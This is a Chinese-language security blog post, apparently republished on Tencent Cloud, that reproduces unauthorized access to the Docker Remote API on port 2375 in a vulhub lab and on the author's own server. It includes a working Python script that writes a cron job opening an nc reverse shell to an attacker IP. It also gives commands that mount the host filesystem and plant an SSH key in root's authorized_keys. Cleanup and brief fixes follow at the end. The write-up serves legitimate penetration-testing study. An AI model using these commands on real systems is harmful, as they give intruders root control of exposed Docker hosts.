前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Docker API未授权漏洞复现

Docker API未授权漏洞复现

作者头像
乌鸦安全
发布2021-08-05 15:26:15
2.3K0
发布2021-08-05 15:26:15
举报
文章被收录于专栏:乌鸦安全乌鸦安全

乌鸦安全的技术文章仅供参考,此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。

乌鸦安全拥有对此文章的修改、删除和解释权限,如转载或传播此文章,需保证文章的完整性,未经授权,不得用于其他。

01 漏洞成因

如果在docker上配置了远程访问,docker 节点上会开放一个TCP端口2375,绑定在0.0.0.0上,如果没有做限制的话,攻击者就可以通过Docker未授权来控制服务器

02 漏洞搭建

在这里使用vulhub直接进行复现

docker-compose build

docker-compose up -d

漏洞搭建完成

03 漏洞检测

可以使用命令行验证当前的漏洞是否存在

代码语言:javascript
复制
docker  -H tcp://*.*.*.*:2375 images

或者

来证明存在漏洞

代码语言:javascript
复制
http://127.0.0.1:2375/version
代码语言:javascript
复制
http://127.0.0.1:2375/info

04 漏洞利用

因为主机是mac,然后在里面启用了一个docker,然后再里面又启用了一个docker,所以这里是无法使用替换密钥的方法来登陆第二层docker的

所以在这里直接使用脚本利用计划任务来反弹shell

这里尝试一个反弹shell的操作:

其中10.211.55.23是Kali的ip地址

10.211.55.2是docekr的未授权端口

代码语言:javascript
复制
import docker

client = docker.DockerClient(base_url='http://10.211.55.2:2375/')
print(client)
data = client.containers.run('alpine:latest', r'''sh -c "echo '* * * * * /usr/bin/nc 10.211.55.23 6666  -e /bin/sh' >> /tmp/etc/crontabs/root" ''', remove=True, volumes={'/etc': {'bind': '/tmp/etc', 'mode': 'rw'}})

这里将shell弹到kali上

当这个脚本在mac上执行完成之后,大概需要很长的时间会返回一个shell回来

05 实战

这里来模拟测试开启Docker API未授权之后,使用密钥登陆受害者机器

5.1 配置Docker支持远程访问

在这里使用我自己的阿里云主机进行测试

首先要配置docker支持远程访问

进行文件备份

代码语言:javascript
复制
cp /lib/systemd/system/docker.service /lib/systemd/system/docker.service.bak

然后编辑

代码语言:javascript
复制
vim /lib/systemd/system/docker.service

在文件的末尾增加以下代码

代码语言:javascript
复制
[Service]
ExecStart=
ExecStart=/usr/bin/dockerd -H tcp://0.0.0.0:2375 -H unix:///var/run/docker.sock

保存并退出编辑后,重载守护进程以及重启Docker:

代码语言:javascript
复制
sudo systemctl daemon-reload

sudo service docker restart

通过执行命令查看是否开放了远程访问端口:

代码语言:javascript
复制
systemctl status docker.service

在这里还可以输入docker info 查看

5.2 写入密钥

以下我将vps地址用127.0.0.1进行了替换

在本地执行命令:

查看远程vps的镜像

代码语言:javascript
复制
docker -H tcp://127.0.0.1:2375 images

这时候发现并没有运行的容器,那么来测试下

查看远程vps是否运行了容器

代码语言:javascript
复制
docker -H tcp://127.0.0.1:2375 ps

在这里拉取一个镜像文件busybox

因为这个镜像很小,但是命令很全

代码语言:javascript
复制
docker -H tcp://127.0.0.1:2375 pull busybox

然后运行该镜像

代码语言:javascript
复制
docker -H tcp://127.0.0.1:2375 run -it -v /:/mnt 69593048aa3a /bin/bash

69593048aa3aImage ID

这条命令的意思是启动一个image ID 为69593048aa3a的容器,并且将该宿主机的根目录挂在到容器的/mnt目录下

启动之后就会获得该容器宿主机的shell

然后直接cd mnt/root/

看到了我的服务器上的root下的文件

cd .ssh

在这里要将服务器里面的authorized_keys文件进行备份,一定要记住!!!

在本地生成一个公私钥,这里以Mac环境为例

在桌面新建了一个ssh的文件夹,将生成的公钥保存在里面

注意在生成的密钥要保存的位置我这里是自定义的,如果不是自定义的话,可以一路回车,自定义的话,第一个要写文件路径,后面的也可以一路回车,然后在.ssh路径下获取文件(非自定义路径保存)

生成:ssh-keygen -t rsa

看下生成的文件,有两个

id_rsa id_rsa.pub

再回到远程主机上来

使用echo指令将公钥写进去

直接远程连接

ssh -i id_rsa root@127.0.0.1

登陆成功。

5.3 关闭Docker API未授权

将我们的authorized_keys文件删除,将原来的文件复位

代码语言:javascript
复制
rm authorized_keys
mv authorized_keys.bak authorized_keys

然后再去处理配置文件

代码语言:javascript
复制
 
 rm  /lib/systemd/system/docker.service
 
 # 将备份文件重命名
 
mv /lib/systemd/system/docker.service.bak   /lib/systemd/system/docker.service

# 重载重启操作
systemctl daemon-reload
service docker restart

然后再用docker info看下

警告信息没了

再试试连接下

可以了

06 修复方法

  1. 设置ACL,只允许信任的IP端口连接对应端口
  2. 开启TLS,使用生成的证书进行认证

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2021-07-02,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 乌鸦安全 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 5.1 配置Docker支持远程访问
  • 5.2 写入密钥
  • 5.3 关闭Docker API未授权
相关产品与服务
容器镜像服务
容器镜像服务(Tencent Container Registry,TCR)为您提供安全独享、高性能的容器镜像托管分发服务。您可同时在全球多个地域创建独享实例,以实现容器镜像的就近拉取,降低拉取时间,节约带宽成本。TCR 提供细颗粒度的权限管理及访问控制,保障您的数据安全。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档